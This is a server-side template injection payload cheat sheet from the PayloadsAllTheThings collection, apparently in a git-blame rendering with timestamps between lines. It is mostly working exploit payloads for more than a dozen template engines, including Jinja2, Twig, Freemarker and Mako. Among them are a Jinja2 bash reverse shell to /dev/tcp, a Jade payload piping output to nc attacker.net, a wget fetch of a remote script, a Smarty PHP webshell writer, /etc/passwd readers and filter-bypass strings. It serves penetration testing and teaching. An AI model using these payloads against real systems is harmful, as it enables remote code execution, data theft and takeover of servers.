2019-01-28 19:27:45 +00:00
# Templates Injections
2020-10-17 20:47:20 +00:00
> Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages
2019-01-28 19:27:45 +00:00
## Summary
* [Tools ](#tools )
* [Methodology ](#methodology )
* [Ruby ](#ruby )
2020-10-17 10:25:50 +00:00
* [Basic injections ](#ruby---basic-injections )
2021-07-27 17:20:36 +00:00
* [Retrieve /etc/passwd ](#ruby---retrieve-etcpasswd )
2020-10-17 10:25:50 +00:00
* [List files and directories ](#ruby---list-files-and-directories )
2019-01-28 19:27:45 +00:00
* [Java ](#java )
2020-10-17 10:25:50 +00:00
* [Basic injection ](#java---basic-injection )
2021-07-27 17:20:36 +00:00
* [Retrieve the system’ s environment variables ](#java---retrieve-the-systems-environment-variables )
* [Retrieve /etc/passwd ](#java---retrieve-etcpasswd )
2020-07-10 13:05:13 +00:00
* [Expression Language EL ](#expression-language-el )
2020-10-17 10:25:50 +00:00
* [Basic injection ](#expression-language-el---basic-injection )
* [Code execution ](#expression-language-el---code-execution )
2019-01-28 19:27:45 +00:00
* [Twig ](#twig )
2020-10-17 10:25:50 +00:00
* [Basic injection ](#twig---basic-injection )
* [Template format ](#twig---template-format )
* [Arbitrary File Reading ](#twig---arbitrary-file-reading )
* [Code execution ](#twig---code-execution )
2019-01-28 19:27:45 +00:00
* [Smarty ](#smarty )
* [Freemarker ](#freemarker )
2020-10-17 10:25:50 +00:00
* [Basic injection ](#freemarker---basic-injection )
* [Code execution ](#freemarker---code-execution )
* [Pebble ](#pebble )
* [Basic injection ](#pebble---basic-injection )
* [Code execution ](#pebble---code-execution )
2021-07-27 17:20:36 +00:00
* [Jade / Codepen ](#jade--codepen )
2019-01-28 19:27:45 +00:00
* [Velocity ](#velocity )
* [Mako ](#mako )
* [Jinja2 ](#jinja2 )
2020-10-17 10:25:50 +00:00
* [Basic injection ](#jinja2---basic-injection )
* [Template format ](#jinja2---template-format )
* [Debug Statement ](#jinja2---debug-statement )
* [Dump all used classes ](#jinja2---dump-all-used-classes )
* [Dump all config variables ](#jinja2---dump-all-config-variables )
* [Read remote file ](#jinja2---read-remote-file )
* [Write into remote file ](#jinja2---write-into-remote-file )
* [Remote Code Execution ](#jinja2---remote-code-execution )
* [Filter bypass ](#jinja2---filter-bypass )
2019-01-28 19:27:45 +00:00
* [Jinjava ](#jinjava )
2020-10-17 10:25:50 +00:00
* [Basic injection ](#jinjava---basic-injection )
* [Command execution ](#jinjava---command-execution )
2020-08-19 12:20:18 +00:00
* [Handlebars ](#handlebars )
2020-04-18 19:18:22 +00:00
* [ASP.NET Razor ](#aspnet-razor )
2020-10-17 10:25:50 +00:00
* [Basic injection ](#aspnet-razor---basic-injection )
* [Command execution ](#aspnet-razor---command-execution )
2021-07-06 14:36:43 +00:00
* [Lessjs ](#lessjs )
2019-09-17 13:43:13 +00:00
* [References ](#references )
2019-01-28 19:27:45 +00:00
## Tools
Recommended tool: [Tplmap ](https://github.com/epinna/tplmap )
e.g:
```powershell
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*& comment=supercomment& link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*& comment=A& link" --level 5 -e jade
```
## Methodology
2019-03-19 12:18:06 +00:00
![SSTI cheatsheet workflow ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/serverside.png?raw=true )
2019-01-28 19:27:45 +00:00
## Ruby
2020-10-17 10:25:50 +00:00
### Ruby - Basic injections
2019-11-16 16:29:55 +00:00
ERB:
2019-01-28 19:27:45 +00:00
```ruby
< %= 7 * 7 %>
```
2019-11-16 16:29:55 +00:00
Slim:
```ruby
#{ 7 * 7 }
```
2020-10-17 10:25:50 +00:00
### Ruby - Retrieve /etc/passwd
2019-01-28 19:27:45 +00:00
```ruby
< %= File.open('/etc/passwd').read %>
```
2020-10-17 10:25:50 +00:00
### Ruby - List files and directories
2019-01-28 19:27:45 +00:00
```ruby
< %= Dir.entries('/') %>
```
2020-10-17 10:25:50 +00:00
### Ruby - Code execution
2019-12-05 22:06:53 +00:00
2020-04-30 10:13:58 +00:00
Execute code using SSTI for ERB engine.
```ruby
< %= system('cat /etc/passwd') %>
2020-05-29 04:28:55 +00:00
< %= `ls /` %>
< %= IO.popen('ls /').readlines() %>
2020-07-10 13:05:13 +00:00
< % require 'open3' %>< % @a ,@b,@c,@d=Open3.popen3('whoami') %>< %= @b .readline()%>
2020-05-29 04:28:55 +00:00
< % require 'open4' %>< % @a ,@b,@c,@d=Open4.popen4('whoami') %>< %= @c .readline()%>
2020-04-30 10:13:58 +00:00
```
2020-05-29 04:28:55 +00:00
2020-04-30 10:15:31 +00:00
Execute code using SSTI for Slim engine.
```powershell
#{ %x|env| }
```
2020-04-30 10:13:58 +00:00
2019-01-28 19:27:45 +00:00
## Java
2020-10-17 10:25:50 +00:00
### Java - Basic injection
2019-01-28 19:27:45 +00:00
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
```
2020-10-17 10:25:50 +00:00
### Java - Retrieve the system’ s environment variables
2019-01-28 19:27:45 +00:00
```java
${T(java.lang.System).getenv()}
```
2020-10-17 10:25:50 +00:00
### Java - Retrieve /etc/passwd
2019-01-28 19:27:45 +00:00
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2020-07-10 13:05:13 +00:00
## Expression Language EL
2020-10-17 10:25:50 +00:00
### Expression Language EL - Basic injection
2020-07-10 13:05:13 +00:00
```java
${1+1}
#{1+1}
```
2021-08-23 19:41:40 +00:00
### Expression Language EL - One-Liner injections not including code execution
```java
// DNS Lookup
2021-08-25 20:17:34 +00:00
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}
2021-08-23 19:41:40 +00:00
// JVM System Property Lookup (ex: java.class.path)
${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".getClass()).invoke("","java.class.path")}
```
2020-10-17 10:25:50 +00:00
### Expression Language EL - Code Execution
2020-07-10 13:05:13 +00:00
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(< COMMAND STRING / ARRAY > )
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(< COMMAND ARRAY / LIST > ).start()
// Method using Runtime
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
// Method using ScriptEngineManager
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}
```
2019-01-28 19:27:45 +00:00
## Twig
2020-10-17 10:25:50 +00:00
### Twig - Basic injection
2019-01-28 19:27:45 +00:00
```python
{{7*7}}
{{7*'7'}} would result in 49
2020-03-29 20:34:26 +00:00
{{dump(app)}}
{{app.request.server.all|join(',')}}
2019-01-28 19:27:45 +00:00
```
2020-10-17 10:25:50 +00:00
### Twig - Template format
2019-01-28 19:27:45 +00:00
```python
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
2020-10-17 10:25:50 +00:00
### Twig - Arbitrary File Reading
2020-03-29 20:34:26 +00:00
```python
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
```
2020-10-17 10:25:50 +00:00
### Twig - Code execution
2019-01-28 19:27:45 +00:00
```python
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
2020-03-29 21:19:27 +00:00
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
2020-03-29 21:23:26 +00:00
{{['cat$IFS/etc/passwd']|filter('system')}}
2019-01-28 19:27:45 +00:00
```
2020-03-29 20:34:26 +00:00
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
```powershell
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
```
2019-01-28 19:27:45 +00:00
## Smarty
```python
2019-12-30 13:22:10 +00:00
{$smarty.version}
2021-05-20 14:42:51 +00:00
{php}echo `id` ;{/php} //deprecated in smarty v3
2019-01-28 19:27:45 +00:00
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?> ",self::clearConfig())}
2021-05-20 14:42:51 +00:00
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
2019-01-28 19:27:45 +00:00
```
## Freemarker
2019-04-14 19:01:14 +00:00
You can try your payloads at [https://try.freemarker.apache.org ](https://try.freemarker.apache.org )
2019-01-28 19:27:45 +00:00
2020-10-17 10:25:50 +00:00
### Freemarker - Basic injection
2019-04-14 19:01:14 +00:00
The template can be `${3*3}` or the legacy `#{3*3}`
2020-10-17 10:25:50 +00:00
### Freemarker - Code execution
2019-04-14 19:01:14 +00:00
```js
< #assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
2019-06-24 11:38:56 +00:00
${"freemarker.template.utility.Execute"?new()("id")}
2019-01-28 19:27:45 +00:00
```
2021-02-21 19:17:57 +00:00
### Freemarker - Sandbox bypass
:warning: only works on Freemarker versions below 2.3.30
```js
< #assign classloader=article.class.protectionDomain.classLoader>
< #assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
< #assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
< #assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
2019-09-17 13:43:13 +00:00
## Pebble
2020-10-17 10:25:50 +00:00
### Pebble - Basic injection
2019-09-17 13:43:13 +00:00
```java
{{ someString.toUPPERCASE() }}
```
2020-10-17 10:25:50 +00:00
### Pebble - Code execution
Old version of Pebble ( < version 3 . 0 . 9 ) : `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}` .
New version of Pebble :
2019-09-17 13:43:13 +00:00
```java
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```
2019-01-28 19:27:45 +00:00
## Jade / Codepen
```python
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
2020-10-31 15:02:29 +00:00
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
2019-01-28 19:27:45 +00:00
## Velocity
```python
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```
## Mako
2021-08-26 18:50:19 +00:00
[Official website ](https://www.makotemplates.org/ )
> Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics.
2019-01-28 19:27:45 +00:00
```python
< %
import os
x=os.popen('id').read()
%>
${x}
```
2021-08-26 18:50:19 +00:00
### Direct access to os from TemplateNamespace:
Any of these payloads allows direct access to the `os` module
```python
${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
```
PoC :
```python
>>> print(Template("${self.module.cache.util.os}").render())
< module ' os ' from ' / usr / local / lib / python3 . 10 / os . py ' >
```
Source [@podalirius_ ](https://twitter.com/podalirius_ ) : [https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/ ](https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/ )
2019-01-28 19:27:45 +00:00
## Jinja2
2021-07-27 17:20:36 +00:00
[Official website ](https://jinja.palletsprojects.com/ )
2019-07-17 21:17:35 +00:00
> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
2019-01-28 19:27:45 +00:00
2020-10-17 10:25:50 +00:00
### Jinja2 - Basic injection
2019-01-28 19:27:45 +00:00
```python
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
2019-03-24 15:26:00 +00:00
{{config.items()}}
2019-01-28 19:27:45 +00:00
```
Jinja2 is used by Python Web Frameworks such as Django or Flask.
2021-07-27 17:20:36 +00:00
The above injections have been tested on a Flask application.
2019-01-28 19:27:45 +00:00
2020-10-17 10:25:50 +00:00
### Jinja2 - Template format
2019-01-28 19:27:45 +00:00
```python
{% extends "layout.html" %}
{% block body %}
< ul >
{% for user in users %}
< li > < a href = "{{ user.url }}" > {{ user.username }}< / a > < / li >
{% endfor %}
< / ul >
{% endblock %}
```
2020-10-17 10:25:50 +00:00
### Jinja2 - Debug Statement
2020-08-19 12:46:43 +00:00
If the Debug Extension is enabled, a `{% debug %}` tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’ s available to use in the template without setting up a debugger.
```python
< pre > {% debug %}< / pre >
```
Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
2020-10-17 10:25:50 +00:00
### Jinja2 - Dump all used classes
2019-01-28 19:27:45 +00:00
```python
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
```
2020-10-17 10:25:50 +00:00
### Jinja2 - Dump all config variables
2019-01-28 19:27:45 +00:00
```python
{% for key, value in config.iteritems() %}
< dt > {{ key|e }}< / dt >
< dd > {{ value|e }}< / dd >
{% endfor %}
```
2020-10-17 10:25:50 +00:00
### Jinja2 - Read remote file
2019-01-28 19:27:45 +00:00
```python
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
2019-04-14 19:01:14 +00:00
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
2021-01-18 08:48:38 +00:00
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
2019-01-28 19:27:45 +00:00
```
2020-10-17 10:25:50 +00:00
### Jinja2 - Write into remote file
2019-01-28 19:27:45 +00:00
```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
2020-10-17 10:25:50 +00:00
### Jinja2 - Remote Code Execution
2019-01-28 19:27:45 +00:00
2020-10-17 20:47:20 +00:00
Listen for connection
2019-01-28 19:27:45 +00:00
```bash
2021-01-31 20:51:53 +00:00
nc -lnvp 8000
2019-01-28 19:27:45 +00:00
```
2021-07-27 17:20:36 +00:00
#### Exploit the SSTI by calling os.popen().read()
These payloads are context-free, and do not require anything, except being in a jinja2 Template object:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
```
```python
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
```
```python
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
```
Source [@podalirius_ ](https://twitter.com/podalirius_ ) : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/
#### Exploit the SSTI by calling subprocess.Popen
2019-07-10 18:58:50 +00:00
:warning: the number 396 will vary depending of the application.
```python
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
2019-10-20 11:25:06 +00:00
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
2019-07-10 18:58:50 +00:00
```
2019-07-10 19:31:44 +00:00
#### Exploit the SSTI by calling Popen without guessing the offset
2019-01-28 19:27:45 +00:00
```python
2019-07-10 19:31:44 +00:00
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
```
2020-03-09 18:19:33 +00:00
Simply modification of payload to clean up output and facilitate command input (https://twitter.com/SecGus/status/1198976764351066113)
In another GET parameter include a variable named "input" that contains the command you want to run (For example: & input=ls)
```python
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
```
2019-07-10 19:31:44 +00:00
#### Exploit the SSTI by writing an evil config file.
```python
# evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
2019-07-14 12:23:20 +00:00
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>& 1"',shell=True) }}
2019-01-28 19:27:45 +00:00
```
2019-07-10 18:58:50 +00:00
2020-10-17 10:25:50 +00:00
### Jinja2 - Filter bypass
2019-01-28 19:27:45 +00:00
```python
request.__class__
request["__class__"]
```
Bypassing `_`
```python
http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}& class=class& usc=_
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
```
Bypassing `[` and `]`
```python
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}& class=class& usc=_
or
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}& l=a& a=_& a=_& a=class& a=_& a=_
```
Bypassing `|join`
```python
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}& f=%s%sclass%s%s& a=_
```
2020-04-13 17:48:43 +00:00
Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by https://twitter.com/SecGus:
2020-04-13 17:44:16 +00:00
```python
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
```
2019-01-28 19:27:45 +00:00
## Jinjava
2020-10-17 10:25:50 +00:00
### Jinjava - Basic injection
2019-01-28 19:27:45 +00:00
```python
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
2020-10-17 20:47:20 +00:00
Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/ ](https://github.com/HubSpot/jinjava/ )
2019-01-28 19:27:45 +00:00
2020-10-17 10:25:50 +00:00
### Jinjava - Command execution
2019-01-28 19:27:45 +00:00
Fixed by https://github.com/HubSpot/jinjava/pull/230
```python
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
2020-08-19 12:20:18 +00:00
## Handlebars
2020-10-17 10:25:50 +00:00
### Handlebars - Command Execution
2020-08-19 12:20:18 +00:00
```handlebars
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('ls -la');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
```
2020-04-18 19:18:22 +00:00
## ASP.NET Razor
2020-10-17 10:25:50 +00:00
### ASP.NET Razor - Basic injection
2020-04-18 19:18:22 +00:00
```powershell
@(1+2)
```
2020-10-17 10:25:50 +00:00
### ASP.NET Razor - Command execution
2020-04-18 19:18:22 +00:00
```csharp
@{
// C# code
}
```
2019-01-28 19:27:45 +00:00
2021-07-06 14:36:43 +00:00
## Lessjs
### Lessjs - SSRF / LFI
```less
@import (inline) "http://localhost";
// or
@import (inline) "/etc/passwd";
```
### Lessjs < v3 - Command Execution
```less
body {
2021-07-16 15:24:16 +00:00
color: `global.process.mainModule.require("child_process").execSync("id")` ;
2021-07-06 14:36:43 +00:00
}
```
### Plugins
Lessjs plugins can be remotely included and are composed of Javascript which gets executed when the Less is transpiled.
```less
// example local plugin usage
@plugin "plugin-2.7.js";
```
or
```less
// example remote plugin usage
@plugin "http://example.com/plugin-2.7.js"
```
version 2 example RCE plugin:
```javascript
functions.add('cmd', function(val) {
return `"${global.process.mainModule.require('child_process').execSync(val.value)}"` ;
});
```
version 3 and above example RCE plugin
```javascript
//Vulnerable plugin (3.13.1)
registerPlugin({
install: function(less, pluginManager, functions) {
functions.add('cmd', function(val) {
return global.process.mainModule.require('child_process').execSync(val.value).toString();
});
}
})
```
2019-01-28 19:27:45 +00:00
## References
* [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/ ](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/ )
* [Yahoo! RCE via Spring Engine SSTI ](https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/ )
* [Ruby ERB Template injection - TrustedSec ](https://www.trustedsec.com/2017/09/rubyerb-template-injection/ )
* [Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger) ](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98 )
* [PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax ](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf )
* [VelocityServlet Expression Language injection ](https://magicbluech.github.io/2017/12/02/VelocityServlet-Expression-language-Injection/ )
* [Cheatsheet - Flask & Jinja2 SSTI - Sep 3, 2018 • By phosphore ](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti )
* [RITSEC CTF 2018 WriteUp (Web) - Aj Dumanhug ](https://medium.com/@ajdumanhug/ritsec-ctf-2018-writeup-web-72a0e5aa01ad )
* [RCE in Hubspot with EL injection in HubL - @fyoorer ](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html?spref=tw )
* [Jinja2 template injection filter bypasses - @gehaxelt, @0daywork ](https://0day.work/jinja2-template-injection-filter-bypasses/ )
* [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018 ](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9 )
2019-06-24 11:38:56 +00:00
* [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018 ](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf )
2019-11-16 16:29:55 +00:00
* [Server Side Template Injection – on the example of Pebble - MICHAŁ BENTKOWSKI | September 17, 2019 ](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/ )
2020-04-30 10:13:58 +00:00
* [Server-Side Template Injection (SSTI) in ASP.NET Razor - Clément Notin - 15 APR 2020 ](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI )-in-ASP.NET-Razor/)
2020-07-10 13:05:13 +00:00
* [Expression Language injection - PortSwigger ](https://portswigger.net/kb/issues/00100f20_expression-language-injection )
* [Bean Stalking: Growing Java beans into RCE - July 7, 2020 - Github Security Lab ](https://securitylab.github.com/research/bean-validation-RCE )
2020-08-19 12:20:18 +00:00
